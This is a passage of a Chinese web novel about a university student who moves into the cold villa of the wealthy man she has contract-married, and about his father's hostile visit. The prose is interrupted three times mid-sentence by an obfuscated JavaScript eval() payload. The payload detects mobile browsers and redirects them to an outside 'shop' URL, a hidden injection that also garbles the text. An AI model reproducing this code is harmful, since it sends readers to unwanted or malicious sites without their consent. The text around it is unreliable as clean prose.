徐敬孚的那一个巴掌对木晓晞来说,说实话,什么也算不上。力也没多大,痛也没多痛,跟木钧曾经打她的力度比起来根本不在一个量级。 如果要她评价的话,只能说是很初级的惩戒方式,很一般的操控手段。 虽然如此,这巴掌也并不轻,几个小时内消不掉就是了。那天木晓晞在外面的旅馆度过了一夜,借口是去市里的长辈家吃饭来不及回来了。 木晓晞的二十岁生日就这样,用一个耳光,一份合约婚姻,一堂生动的权力课堂作为她的生日礼物就这样度过了。 她把自己卖了出去,价格未知。只知道从那之后,木家一家人便从她的世界中消失了,没有任何那边的人再联系过她,哪怕是以陌生骚扰号码的形式出现。 时间很快就过了半个月,到了期末考试的时候。非常奇异的是,连着两天半的考试进行得非常顺利,没有意外,也没有什么拉肚子的情况,每一场都是超常发挥。 连石兰都发现了她的不同:“哎呀,你这几天考试怎么没说肚子不舒服吃不下饭了?” “盼着我点儿好吧姐姐。” “难怪你这回成绩考这么好,状态好了是吧?” 学校老师阅卷很快,分数一般在一天到两天后就能查到。今天全部考试结束,前天昨天的考试结果已经部分可以查到了。 木晓晞看了自己的高翻视听成绩,竟然是全班第一。这门课她从来没拿到过第一,前五都没有过。 她自嘲地想,也许是徐敬孚的那一耳光打通了她的什么任督二脉吧。 “晓晞你买机票了没,什么时候离校啊?我们要不要一起走啊?”周静静问。 石兰是省内的,她爸妈每学期末都会开车来接她,李苁则是市内的,打个出租就能回去,只有周静静跟木晓晞是外省。 “我今年不回去。”木晓晞边收拾东西边装若无事地说,“今年我就在这边过暑假,可能考虑去打个暑期工吧,今天就准备离校。” “啊?那你住哪儿啊?” “一个……长辈家里。” 李苁一下来劲了:“是那个特有钱的长辈吗?” 她顿了顿,说:“对。” “我去,那岂不是会很爽了?那你什么时候走?那个特帅的男秘书哥哥会开着豪车来接你吗?什么时候来接你啊,我去送送你!”李苁的兴奋和八卦几乎挂在了脸上。 “你是去送晓晞的还是去看帅哥豪车的啊?”石兰说她。 周静静笑嘻嘻:“别说李苁了,我也很好奇啊,照片上看着都帅,不知道实际眼睛看着会怎么样,想现场去看看呢,不过晓晞你都能住人家家里了,还用去打暑期工吗?干嘛不让你那长辈给你安排个实习,开个凭证,到时候大三找工作还能用上呢。” 几人七嘴八舌地八卦,她有时回两句,有时就不回,只是笑着看她们唠糊弄过去。 收拾好东西已经是下午两点多了,李秀在三点多的时候给她打了电话:“收拾好了吗木小姐?” “好了。” “不用带太多东西,把必要的私人用品带上就可以了,其余的东西基本都有准备,就算没有,到时候我们可以再去买。” “好。” “我的车已经开进学校了,三分钟就到您宿舍楼下,您慢慢下来。” 挂了电话,她看到李苁和周静静期待的眼神,最后还是没拦着她们,让她们送了。石兰见状也下来送她,问她:“谁来接你了?” “一个姐姐。” “你那个长辈的女儿吗?” “不是,是助理。” 李苁和周静静在楼道里大呼小叫地:“哇塞,左手秘书,右手助理,真的是豪门啊,没见过没见过。” 木晓晞笑了笑,没说什么。她们下了楼,刚到一楼大厅,她便透过大楼的玻璃大门看到了外头站着的一位年轻靓丽一身黑色修身辣妹装的女士,个子高挑身材很好,头发高高盘起,头顶架着一副墨镜,耳边坠着两个大耳圈儿。她看起来正在打电话。 “是她吗?”石兰问。 木晓晞点头,跟三个同学说:“那我先走了?” 这时,李秀看到了她们,刚开始还有点不确定,边打电话便看她们这儿,多看几眼后把目光定焦到了木晓晞身上,然后一下很明媚地笑了起来,她冲木晓晞招手,打开宿舍门进来,一边跟电话那头说:“好了不说了,我接到木小姐了,谢谢陈秘帮这个忙,回头请你吃大餐。” 挂了电话后,她大方地走过来伸出手:“又见面了木小姐,上次见过的。” 木晓晞跟她握了一下手:“李……” 李秀笑道:“跟徐总一样,您叫我李助理就可以。”接着她看向木晓晞背后的三个学生妹,“是您的同学吗?” 木晓晞回头看去,发现刚刚还吵吵嚷嚷的三个人这会儿安静得很,大概是没见过几个李秀这样一眼过去无论气质还是相貌都出众到不像普通人的成年人。上次见面时李秀没怎么打扮,看起来都已经很漂亮了,这次见面她化了妆穿得也很时尚,美得攻击性很强,说是明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200748|197175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 星一般的水平也不夸张。 而这样一个人,却对木晓晞“您”来“您”去的,难免会让几个未出社会的学生妹感到有些拘谨,忙不迭地排着队跟李秀握了手:“您好,您好……” “就这些行李吗?我帮您拿吧,车就在外面,怕您的东西多,我还叫了一个司机跟上。”李秀自然地接过木晓晞的行李箱,对她做了一个“请”的手势。 木晓晞转头看了眼室友:“那我走了。” 石兰:“拜拜,下学期见。” 李苁跟周静静也在旁边挤眉弄眼地跟她拜拜,李苁还牵长了脖子往外头看车,跟木晓晞不断地比大拇指。木晓晞笑了笑,跟她们拜拜了,随着李秀往外走。 司机见她们过来也下车来帮忙开后备箱,不过只有一个箱子,倒有点杀鸡用牛刀的意思了。 今天李秀开来的是一辆suv,是她为数不多认识的品牌,一辆奔驰。也不怪直到她上车,三个室友都还在后面蹦蹦跳跳交头接耳。 李秀坐在副驾驶回过头来问:“喝水吗木小姐?不过只有常温的。” 木晓晞:“谢谢,不用了,我包里有水。” “空调温度合适吗?” “合适。” “那系好安全带吧。”李秀笑着说,“徐总叮嘱过,要把您安全地带回家。” 回家。 木晓晞干干地扯了下嘴角,系上安全带,回了对方一个礼节性的笑容:“有劳。” 罢了便开了半截窗透气,半眯上眼不再说话。看她如此,之后李秀也并没有再打扰她。 车慢慢地驶进校园的环路,环路两侧是一片高大的柳树林,下午暖洋洋的日光透过林叶间隙铺撒下来落在路上,光阴斑驳陆离,伴着夏虫的鸣叫和车很是梦幻。车开得不快,带着淡淡的植物清香的风从窗外拂进来,扫在脸上痒痒的。 已经很久没有这样认真地看过学校的风景了,上一次这样看还是在刚入校时。 那时的木晓晞远离了家来到这座陌生的城市,幻想着能在这个地方展开一段全新美好的时光,过上一种成熟而有力量的属于成年人的生活,像电视剧里小说里演的那样:上课,兼职,认识新朋友,学一门高深的学问,参加社团活动,认识一些传奇优秀的校园风云人物,或者说,自己成为那样一个被众人艳羡关注的中心人物。 总之,得是一种可以用特别的,精彩纷呈的,充满希望和活力的……这类词汇来形容的状态。 然而谁能想到,不仅没过上想要的生活,还坐在了这辆车里。 想到室友们艳羡而关注的目光,她自嘲地想,这也算另一种得偿所愿了不是吗? 她不知道自己是什么时候睡着的,只知道再一次醒来时车已经缓缓行驶进一片绿茵成林的安宁优雅的住宅区内,那是一片很大的住宅区,车在环路上开的时候甚至路过了两个小型的人工湖。 最后车停在一片枫树林下,一道灰黑色的大门前。 “到了木小姐。”李秀小声提醒。 10. 第 10 章 (十) 木晓晞早已经醒了,她只是在看黑灰色大门后的那一栋以灰白色为主调的类日式的别墅高楼,大约三层,不算高,木钧的别墅都有四层。 睡得有点晕,下车时差点摔倒,幸亏有李秀扶着:“晕车了吗?” “没,坐久了,有一点腿麻。” “是有点久了,加堵车有三个多小时了,这边的别墅是徐总经常来的,离公司相对比较近的,不过因为在和您学校相反的地段,加上最近这边有一段在修路,所以堵车有点厉害,两公里的路堵了一个小时,搞得司机大哥都有点焦虑,还好您一路睡得沉。”李秀一边把她的行李箱拿下来,一边跟她介绍着,“这里离徐总的公司也差不多有四十分钟的路程,不堵车的话,其实二十多分钟就可以到了,七八公里。” 她推着行李箱去开了大门,回头叫她:“请进。” 木晓晞看了一眼那栋灰白的别墅,捏了捏手,深吸了一口气后随着她走了进去。 “前门需要钥匙,我忘了带,从后门进吧,后门是密码锁。”李秀娴熟地从花盆下面拿出一个小钥匙,打开了通往后院的小木门。 这是一栋不算大的别墅,小三层,一个前院一个后院,四周的篱笆是一片矮竹林,前院是一片清油油的草地,草地上有一个空着的小鱼池,后院则种满了各种果树,高大的乔木,将外头的阳光挡得死死的,只能从枝丫叶片之间零星透进来一些碎片光点。 “徐总应该跟您说了,平时都是我在打理他生活方面的杂事,一般情况下他住哪里,我就会派人去打理哪里,这段时间他有些忙,一直是住在公司旁边的公寓里,工作比较方便,这边别墅他已经有一阵没怎么住过了,所以平时也没有留人在这里,只是每两天会有人来大扫除一次,昨天刚清扫过,所以今天就没有做卫生,要是木小姐觉得哪里不干净您随时叫我,我再帮你收拾。” 她开了后门,推开门邀请她进去,然后打开室内的所有灯。 “因为后院徐总种了太多的树,房间光线不太好,平时只要有人,全屋就都是开着灯的。”她再拿出来准备好的新拖鞋给木晓晞换,“今天保姆阿姨还没有赶过来,没办法给您做饭,晚上我还要陪徐总去参加一个宴会,也来不及陪您用餐,到时候您看需要怎么安排一下,需要我叫司机带您出去吃吗?还是说……” “我会做饭。” “是吗?”李秀有点惊讶,“现在像您这么年轻的女孩子会做饭的可不多。”说着她又笑了,有点不好意思,“我就不怎么会。” 木晓晞会做饭也只是因为从小跟老人一起生活,老人手脚难免不便,很多事就得自己亲自来。后来又去上学住校了,干什么也都是自己干,放假了回木钧那里,与后妈相处,做事不勤快点也不好。久而久之,也就什么都学会了。 “卧室在二楼,这边别墅没有电梯,我先去叫司机来帮您把行李箱搬上去,然后我带您上去看看您的卧室,您可以先熟悉一下环境。” 李秀说着出去了。 木晓晞一个人留在这偌大的房子里,转着眼睛上下左右地慢慢打量着。 这套房子的风格,很不像一个正常人的家,已经光线很暗的房间里充斥着大量的黑色、灰色、金属色,家具少得惊人,几乎全屋都是嵌入式装修,一张巨大的黑色岛台既是厨房操作区也是唯一的餐桌,沙发是支撑感比较强线条冷硬的皮质材料,光看着就知道坐起来并不舒服,茶几则是一个不规则的水泥台子,剩下就是几把造型单调的放置于岛台边的高脚凳,还有两个挨着的白灰相间的羊绒单人沙发。 空气中散发着一股淡淡的草木香,不知道是什么香水,带着点安神的味道,稀释了一点这种由枯燥色彩的装修带来的压抑感。 相比于院子外的生机勃勃绿茵成林,屋内的氛围不仅不像个家,反而像一个冷冰冰的精密仪器的内部,一个无菌实验室,一个规整的展览馆。这个空间离的每一样东西好像都像是被精确计算过之后焊死在那个位置上的,就像徐敬孚这个人给人的感觉一样,从头到脚都散发着一种冷漠和严厉的信息。 如果非要说有什么打破了这个空间的规律,那可能是水泥台子中央的那一抹亮眼的橙色——一个孤零零的放在透明果盘里的橙子。 木晓晞看着那个橙子,忽然,脑海中浮现出一个声音:鲜榨橙汁喝吗? “徐总喜欢吃橙子,这是他唯一会吃的水果。”李秀从后面走过来,见她惊讶地回过头,还可爱地皱了一下鼻子,说,“而且也是这个房间里为数不多的装饰品。” 木晓晞张了张嘴:“他只吃橙子?” 李秀努了下嘴:“对,老板每天的习惯就是早起一个橙子,雷打不动的例行日常,十年如一日。” 木晓晞:“不会腻吗?” 李秀引着她往楼上一边走一边说:“老板这个人跟别人不一样,你处久了就知道了,他是真不会腻,我觉得每天吃一个橙子对他来说,跟我们每天洗脸刷牙是一样的,如果不做就会没办法开始新的一天……一楼是客厅和厨房,因为平时这里不怎么开火,徐总也很少在家吃饭,就也没有餐厅,如果要吃一般也就是在岛台那将就吃一下,所以您可能会觉得一楼有些空了,毕竟有一块区域完全没有规划。” “李助理,你直接叫我名字就可以,不用说‘您’。”木晓晞上了楼梯,看到有一个小平台,平台墙边放着一件落地油画,画面上半面是深沉的星空,半面是灯光闪烁的城市。 “那你也不要叫我李助理了,李秀,随便你叫什么,名字也可以,叫姐也可以。”李秀笑着说,“不过我倾向于你直接叫我名字,就叫秀秀吧,这样听起来我会年轻一点。” 木晓晞听到她这么说,笑了下:“你本来就很年轻,不说年龄的话,我还以为你是我的同学。” “我都二十六快二十七了,比陈秘书也就小一岁半。”李秀小声说,“不过面对徐总的时候,我还是得用敬语……工作嘛,你懂的。” 木晓晞又看了两眼那副画,莫名地被那画面吸引住了。 其实从画技来说,这算不上一副很优秀的画作,如果她花点时间认真糊弄糊弄,也能糊弄出这样一个水平,而这样一幅算得上一般的画却被这样摆在一个独立的空间里,就它一个,既孤单又隆重。 虽然并没有装裱,没有养护的画面也显得有些陈旧了,可她却能看出这幅画的主人对它的重视。 她的目光挪到画作旁边角落的那个单人黑灰色沙发上,沙发坐垫的位置已经被坐得有些掉色和陈旧了。 “看出什么了?”李秀问。 木晓晞摇头:“我的房间在哪里?” 李秀指了指楼上:“三楼。” 木晓晞看了看这层的两个房间。 “一个是徐总的卧房,一个是他的书房,都是他的私人空间,平时是不允许别人擅自进去的。”李秀提醒她,“徐总是一个很注重隐私和私人空间的人,轻易不要去敲他的门,无论什么情况下,最好都不要。” “谢谢你的提醒,我对他并不好奇。”不要说去了解了,从进入这套压抑的房子开始,她就感觉到了不舒服,有一种强烈的想要逃离的感觉,这房子给她的感觉更像是一座监狱而不是一个生活的地方。 听到她的话,李秀稍稍愣了一下,有点欲言又止,不过还是没说什么,只是笑了笑,引她上了三楼。 “这一间是你的卧室。”李秀推开一扇门。 木晓晞走过去,看到门内景象的一瞬间,她慢慢睁大了眼。 “徐总说你要来住,所以找人重新布置了这里,硬装没有办法改变了,就增加了一些软装,通风了大半个月,隔两天就来擦洗一次,应该是没有什么异味了。” 木晓晞走进去,有些不敢相信地看这里头的景象。 这是一间和楼下两层风格完全不同的房间,很大,应该是两间卧室打通了的,至少有七十来平的样子。整体的色调是米白色、绿色还有原本硬装的水泥灰,三楼已经在树梢边上了,光线很好。 地板中央铺上了大面积的柔软的地毯,米白色的床,森林绿的绒布沙发,圆润精致的化妆镜和有点酷的水泥质感的化妆台,刚好和地面的水泥灰相衬,上面还摆着一束浅粉色的鲜花。里头的风格也延续了外面这一部分的样子,有一小片阅读区,有一个很大的看起来能装几百套衣服的衣帽间,一个独立的带浴缸的卫浴间,还有一个隔出去的小阳台。 李秀:“不知道你喜不喜欢这种风格,如果不喜欢的话,还可以换。” 很喜欢。木晓晞差点就将自己的真心话说了出来,幸好她忍住了,她问:“请的设计师设计的吗?” 李秀抿着嘴,神秘兮兮地摇摇头。 木晓晞:“不是设计师设计的?那是……你或者陈秘书?” 李秀:“我们要能有这个水平,就不吃这受气饭了。” 不是请设计师,也不是李秀,那是谁?木晓晞并不喜欢你猜我答,而李秀也没给她公布这个答案,她偏了偏头:“去书房看看?” 书房?还有一间房? “这一层都是属于你的。”李秀说着带她来到另一侧,推开门来。 那是一间堪比小型图书馆的书房,藏书很新,一半是法语类的,另一半是各种经典文学和比较有名的社科类书籍。 “考虑到你是文科生,所以书籍种类目前就只有这些,需要采购新书的话,可以随时通知我。”李秀指着外面,“书房外面还有一个小露台,保姆阿姨有时晒被子会在那里晒,如果你介意别人进出你的私人空间的话,也可以告诉保姆,让她们晾在其他地方。” 木晓晞来到露台外,看到露台边有一把藤编躺椅和一个桌,最里侧的位置,还有一个吊篮式摇摇椅。 看起来都很新,像是刚置办的。 这算什么?打一巴掌喂一颗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200749|197175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 枣吗?很奇异地,此刻的木晓晞感受到的并不是快乐,并不是释然,而是愤怒,甚至比那天挨那一记耳光时还要叫她愤怒。 或者说,是屈辱。 “最近徐总很忙,不怎么回来,你可能要一个人住在这里了,明天有两个保姆会过来,可能就会热闹一点,平时阿姨的工作时间是早上八点到晚上八点,过了这个时间点吃饭的话,可能就需要点外卖了。” 之后李秀又细细地跟她讲了很多这附近的情况,让她记下了家庭地址,保姆阿姨的联系方式,以及各种注意事项。 讲得最多的还是关于“隐私”的注意事项,关于徐敬孚。 李秀好像对徐敬孚的了解很多,或许因为她是一个职业生活助理的缘故。她提到了徐敬孚对噪音的敏感,对时间的苛刻,对个人边界的重视……乃至于…… “这个空间,除了必要的工作人员,是不允许有任何其他人进入的。” 木晓晞不清楚她提及这一点是什么意思。 “任何其他人都不可以,不管徐总在不在这里。”李秀轻声说。 “我听不太懂你的意思。”木晓晞直接说。 “我的意思是……”李秀尽量温和和委婉,“虽然徐总大概率很少时间会出现在这里,但是这毕竟是徐总的房子,即便你以后交了男朋友,也……” 木晓晞听到这里不禁皱起了眉:“男……朋友?” 李秀很谨慎地点了一下头:“我没有别的意思,我只是……” 木晓晞:“我不会交男朋友的。” 李秀:“……嗯?” 木晓晞不知道李秀为什么会是这个反应,她只是觉得奇怪,还有点被侮辱到的感觉:“我不是一个会在婚姻续存阶段就去和其他男性有过多交往的人。” 虽然现在还没有领证。 李秀一下子呆住了,嘴巴微微张开。 “你,你是说……”好一会儿,她才重新试探着开口。 看到她这个反应,木晓晞好像也明白了什么。 她突然感觉有些荒谬,很可笑,她问:“你……以为,我是他的谁?” 李秀无言了很久。 “徐总让我们布置这个房子时说的是,说是……给养女准备的。” 真荒唐。木晓晞心想。 应该是被激起了什么心事,李秀走的时候全然不如带她来时那般的状态,明显有些失魂落魄。但即便如此,她还是笑容可掬地询问了她晚上的安排,问她要吃什么,她可以叫人点外卖送过来。 “陈秘书给我打钱了,我可以自己点,谢谢你。”木晓晞说,“路上注意安全。” 李秀强颜欢笑地跟她说:“放心吧,我不开车,司机开……那我走啦,拜拜,有事call我。”她比了一个打电话的动作。 木晓晞目送她离开,关上大门后,转过身看向这栋陌生的别墅。 久久地站在那里。 养女。呵。 晚上她没有吃,没有胃口。 她看着依旧什么信息都没有的手机,独自一个人待在这样一个陌生无比的大房子里,久违地重温了一种好久不曾有的感觉:害怕。 这种害怕的状态并没有随着第二天两个保姆的到来而减轻,反而持续了很久,差不多有一个礼拜的时间,她每天晚上都做噩梦,只要一躺下就是噩梦,以至于后来她都不太敢去睡觉,整天地泡在三楼书房里没日没夜地看书。 除了吃饭,也不下楼,也不出门。 如李秀所言,徐敬孚从没回过这个别墅,而李秀本人自那天回去之后便休假了,据说修了一个很长的假,陈遇说这段时间里如果有事的话就找他。 可她又能有什么事呢?所以她也没找陈遇。 直到第八天。 准确说是第八天的傍晚,她正在补头一天晚上没怎么睡的觉,忽然一个电话打到了她的手机上。 因为这个手机太久没有接到任何垃圾电话以外的电话了,她还以为是闹铃,所以便迷迷糊糊地挂了两次,直到后来保姆跑上来叫她。 “木小姐,木小姐,醒了没有?” 木晓晞昏昏沉沉地从床上起来,顶着乱糟糟的鸡窝头给保姆开门:“王阿姨……怎么了?” 王阿姨把手机递给她,是陈遇打来的电话:“是我,陈遇,木小姐醒了吗?” “嗯,醒了。”她困得眼睛都睁不开,强打着精神回复道。 “真的醒了?” 听到对面的语气有点严肃,木晓晞晃了晃头让自己清醒了一些:“怎么了?” “醒了就尽快收拾一下,徐总和徐董事一会儿要上家里来了。” 谁? 什么? “徐敬孚徐总,还有他的父亲,徐休董事长,再有二十分钟应该就要到家了。”陈遇提醒她,“一会儿不管发生什么,你要记得,不要和徐董事顶嘴,能不说话就不说话,明白吗?” 11. 第 11 章 (十一) 关于木晓晞的事,徐敬孚实际上并没有打算这么早告诉徐休。一方面,他认为这是自己的私事,木家所有相关事情走账走的都是他的私人账而不是徐家账目;另一方面,他对木晓晞的定位也并不是一个妻子,也并无将木晓晞带到徐家两老面前的意思。 即便要,也不该是现在。 但这个事是如何传到徐休耳朵里的,并且还是以“木晓晞是他既定的妻子”的版本传过去的,他就不知道了。 司机在前面开车,陈遇在副驾驶,徐敬孚则在后座拿着手机看邮件,并不搭理一旁的徐休,他旁边的徐休看起来似乎也并无什么波动,半躺在椅背上闭目养神,若不是手里慢慢团转着那一串珠子,可能都以为他要睡了。 车内安安静静毫无动静,二十分钟很快,不过一个盹儿的时间。 很快车便开进住宅区,正在小区环路上缓慢行驶时,徐休慢慢睁开了眼,问:“人还在家里吧?” 徐敬孚与陈遇对视了一眼,陈遇恭敬道:“是的,董事长,木小姐在家里。” “唔。”徐休把手串重新戴回手腕上,“还以为你们要玩一记调虎离山,没想到这么老实。” 徐敬孚并没有说话,但明显脸上是有些不悦的。 车很快便在门口停了下来,陈遇和司机双双下车为他们开门。下车后徐敬孚便朝着楼上看了一眼,看到三楼的灯有一处亮着,他盯着那亮着灯看了几秒,然后才收回眼跟徐休说话:“徐董,木晓晞只是一个还在上学的小姑娘,很多事都不懂,如果一会儿说话有不周到的地方,还请你海涵。” 徐休斜了他一眼,不发一言地进了院子。 看他先进门后,徐敬孚偏了下头,陈遇便凑上前来跟他低声说:“木小姐接电话的时候才刚睡醒,我也不清楚她记没记住我的嘱咐,需不需要我上去再跟她说一次。” “……”徐敬孚又看了眼三楼,三楼的灯刚好关了,“不用。” 说着便几个生风的大步跨进了大门。 木晓晞的收拾很简单,就起来洗了把脸刷了个牙,把睡衣换成了普通的T恤和牛仔裤,这个过程花了五分钟不到,只不过最浪费时间的不是这个,而是…… 徐敬孚进了门,还没坐下,便看到木晓晞从楼上下来了。 他的目光落在了对方的头顶上。 也许是察觉到了一屋子人的目光,木晓晞下楼梯的动作慢了两拍,她幅度不大地吸了口气,握着扶手的手紧了紧,不过还是很稳定地下来了。 下来后,看到了自西餐厅耳光事件后便没再见过面的徐敬孚,陈遇,两个在安安静静添茶倒水的保姆,还有一个不认识的留着中长发和长胡须,一身朴素中山装手里拿个串儿的老头,看起来六七十岁的样子。 这应该就是陈遇说的,徐敬孚的父亲,徐休,阅岭集团的董事长。 虽然早就告诉过自己要镇定,甚至为此还洗了个冷水头,但真的处在这种情况下的时候,她还是能察觉到她那颗毫不争气的心脏在不受控地飞快跳动,血液不安地沸腾着。 她捏了捏手,走上前去,像以前木钧带她见很多生意伙伴和大人物时一样,她主动打破了沉默:“徐爷爷好,徐叔叔好,陈秘书好。” 空气还是静止着,几个人也不坐,就干站着。 很明显,老头在打量她,从头到脚再从脚到头。眼神冷淡,高深莫测,从他的脸上看不出什么。 木晓晞被看得很不舒服但又不能说什么,不自觉便将目光投去了这堆人她最熟悉的徐敬孚和陈遇那里。徐敬孚回避了她的目光,走到那张水泥台子边拿了杯倒好的水喝了一口,陈遇则站在后面跟她使劲眨了眨眼,也不知道是什么意思。 “……”木晓晞低头想了想,想到了什么,于是又抬起头来,“我叫木晓晞,是外语大学法语系大二的学生,开学大三,今年二十岁了。” 陈遇:“……” 徐敬孚也有点听不下去,跟徐休说:“徐董,先坐下吧。” 徐休手指拨了拨串珠,并不理会徐敬孚,而是接着木晓晞的话来问:“放假了?” 木晓晞点头:“已经放了一周了。” “刚放假就过来了?”徐休坐到其中一个白色沙发上,也端起一杯茶来,“坐吧,不要太紧张,我不是来审问你的。” 徐敬孚已经坐在了他的那张皮沙发上。 木晓晞有点迷惑地看了眼徐休旁边的那张白灰相间的羊绒单人沙发,又看了看徐敬孚身旁那个小小的空位,再看了一眼正接过保姆递来的折叠椅准备打开就坐的陈遇。 徐休指了指徐敬孚旁边的位置,说:“都准备结婚了,坐他那边吧。” 木晓晞:“……” 徐休笑了一下:“你既然要跟他结婚,叫我爷爷就不合适了,虽然我的年龄确实够当你的爷爷,坐吧,坐到你的未婚夫身边去。” 饶是木晓晞什么也不懂,但语气还是听得懂的,更不要说这话的讥讽意味已经浓到连徐敬孚都把杯子放下了,而且还是重重的一下。 心里腾得一下就冒出了火气。 只不过她脸上还是看着平静,从善如流地坐到了徐敬孚身边,沙发有些小,即便她已经坐到最边上了,与身旁的男人也不过才拉开二十公分的距离而已。一坐下,男人身上那股窒息的烟味和强烈的雄性气味便不容反抗地侵占了她的鼻腔,她把手放在双膝上,用力地捏着。 然后低着头,不看人。 徐敬孚说:“现在人也看了。” 徐休喝着茶,笑了笑。保姆过来上果盘,花里胡哨的什么都有,徐休拿了一颗冬枣啃着吃,细细地嚼着:“陈遇,你和两个保姆出去。” 陈遇连忙起身:“好的。” 待保姆又添了一壶开水在桌上后,便迅速地带着两个保姆离开了房子。 等人走了,门关上之后,徐休也没有说什么,只是静静地吃枣,吃了三颗以后又拿了一串葡萄在手里,一颗一颗地摘着吃。 他不说话,徐敬孚也不说,喝了两杯茶。 只有木晓晞一个是干坐着,什么也不做,就是盯着自己的手看。 “有时候我觉得我给你的权限太多了,可能让你以为你好像很了不起。”徐休边吃边说,“但实际上,我能让你坐到这个位置,我也能让你下来,有能力的人太多了,我不需要留着一个会办蠢事的人在这样一个无可替代的岗位上。” 木晓晞听出来这是在说徐敬孚,说得还挺……冰冷无情的。 “你说木钧的事走的是你的账,和徐家没关系是吗?” 听到“木钧”两个字,木晓晞僵了一下。 “这就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200750|197175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是你的交易结果?”徐休指了指木晓晞,“她自愿的?” 木晓晞抬起头来,刚好与一旁的徐敬孚目光相接。 但只是轻轻一触,她的眼睛便立马像接触了闪电一般自动闪去了别处,她甚至都没看清那眼里到底有什么,下一秒脑海里就浮现出西餐厅那一记响亮的耳光,那一双冰冷而傲慢的眼睛。 【没错,被你说中了。】 【我和木钧是一样的货色。】 【是不是想问凭什么?就凭我是一个喜欢通过羞辱别人来得到快感的人。】 【以后和我说话,如果再有这样的表述,我还会打你。】 那时的屈辱一瞬间再次浮现。 自愿的? 交易结果? 【有劳叔叔费心,您还是不要拯救我了,我这个人没什么骨气,所以我选择堕落。】 木晓晞的呼吸霎时加快,浑身跟泼了冷水一样,她试着咽了好几下口水,才将那快要从骨髓里溢出来的羞耻感压进心底里,她不断地跟自己说:加油木晓晞。 具体加什么油,她也不知道。 她感觉到徐敬孚的目光在她身上停留了片刻,接着她用余光看到了他放在二郎腿上的手在规律地点起来,一下,又一下,速度不快也不慢。 “爸。”不知道过了多久,徐敬孚终于开了口,“如果你有空,可以多去公司转转。” “你在威胁我?” “不是,我只是在陈述事实。”徐敬孚心平气和地说,“我坐上这个位置或许有您的鼎力相助,但我坐稳这个位置,却是靠着我自己,您说是吗?” 徐休不置可否:“这就是你能够瞒着我去跟木家交易,拿钱买人家女儿的理由?” 徐敬孚:“这是我的私事,我以为在不影响公司的情况下,我可以自己处理。” 徐休笑了,提起水壶给自己添了点水,然后端起茶杯嚼了嚼嘴里的枣,嚼着嚼着,忽然毫无预兆地将杯子砸了过来,徐敬孚眼疾手快用手臂一挡加上身体往前倾斜挡住了木晓晞,这才没让杯子里滚烫的水泼到木晓晞身上。 杯子掉在地上发出一声清脆的响声,碎了。 木晓晞震惊地瞪大了眼。 却见徐敬孚回头平静地看了她一眼,撑着膝盖站起身来,他抽了几张纸不疾不徐地擦了擦手上的水:“爸,我让陈遇送你回去。” 徐休却盯着木晓晞,一字一顿地再问了一次:“是自愿的吗?” 木晓晞捏紧了手。她看到徐敬孚手臂上被开水烫到的地方很快就红了一片,她再次抬眼看向徐敬孚,只见对方神情之中不仅看不出丝毫的疼痛,嘴角似乎还挂上了一丝嘲讽。 “爸,你是关心我的婚姻幸福,还是担心我不能把木晓晞带到妈面前去。” “你妈吃斋念佛一辈子,死之前只想看到你幸福。”徐休定定地看着他,“我想她会对你很失望。” 说着他起身来,拿了手串准备要离开。 “不会。” 徐休径直往门口走。 “她就是我要找的幸福。” 徐休停了脚步。 徐敬孚说:“如果是木晓晞,妈不会失望的。” 待徐休离开之后,好一阵,徐敬孚才回过头跟木晓晞说:“去把头发吹干。” 说着他便上了楼。 12. 第 12 章 (十二) 其实头发已经干得差不多了,本来也没有多湿,如果不是徐敬孚他们回来得太快,再多四五分钟,可能就全部吹干了。 吹风机的声音在浴室里孤零零地回响着,木晓晞坐在小板凳上,垂着整颗头让头发自然垂下,吹风机从上往下吹,边吹边用梳子梳一梳,头发丝随着温和的风声晃动着。 她有些出神。 应该说,是在发呆。 一直到头发全部干燥,吹风机关上,她都还是垂着头。脑海中一直浮现着前面发生的事,想到徐敬孚下意识替她挡水的那个动作,想到那个杯子过来的方向。 那杯水,应该是朝她砸过来的。 【是自愿的吗?】 “……” 木晓晞慢慢坐起身来,放下吹风机,拨了拨头发,看到头发的发尖干黄开叉了不少。 已经很久没有打理头发了。 “木小姐?”门外响起敲门声,是平时负责别墅清洁打扫的王阿姨。两个保姆中的另一个姓李,负责做饭和花园打理。 她应了一声。 “可以进来吗?” 阿姨们一般情况下除了打扫卫生不会进她的屋里,而做卫生的时间大多又是早上。两个阿姨都不住别墅,每天晚上七点半后就下班了,第二天早上八点才会过来,两个人一起住在小区其他的洋楼里,据说是为了方便她们上班李秀给她们租的房子作为宿舍。 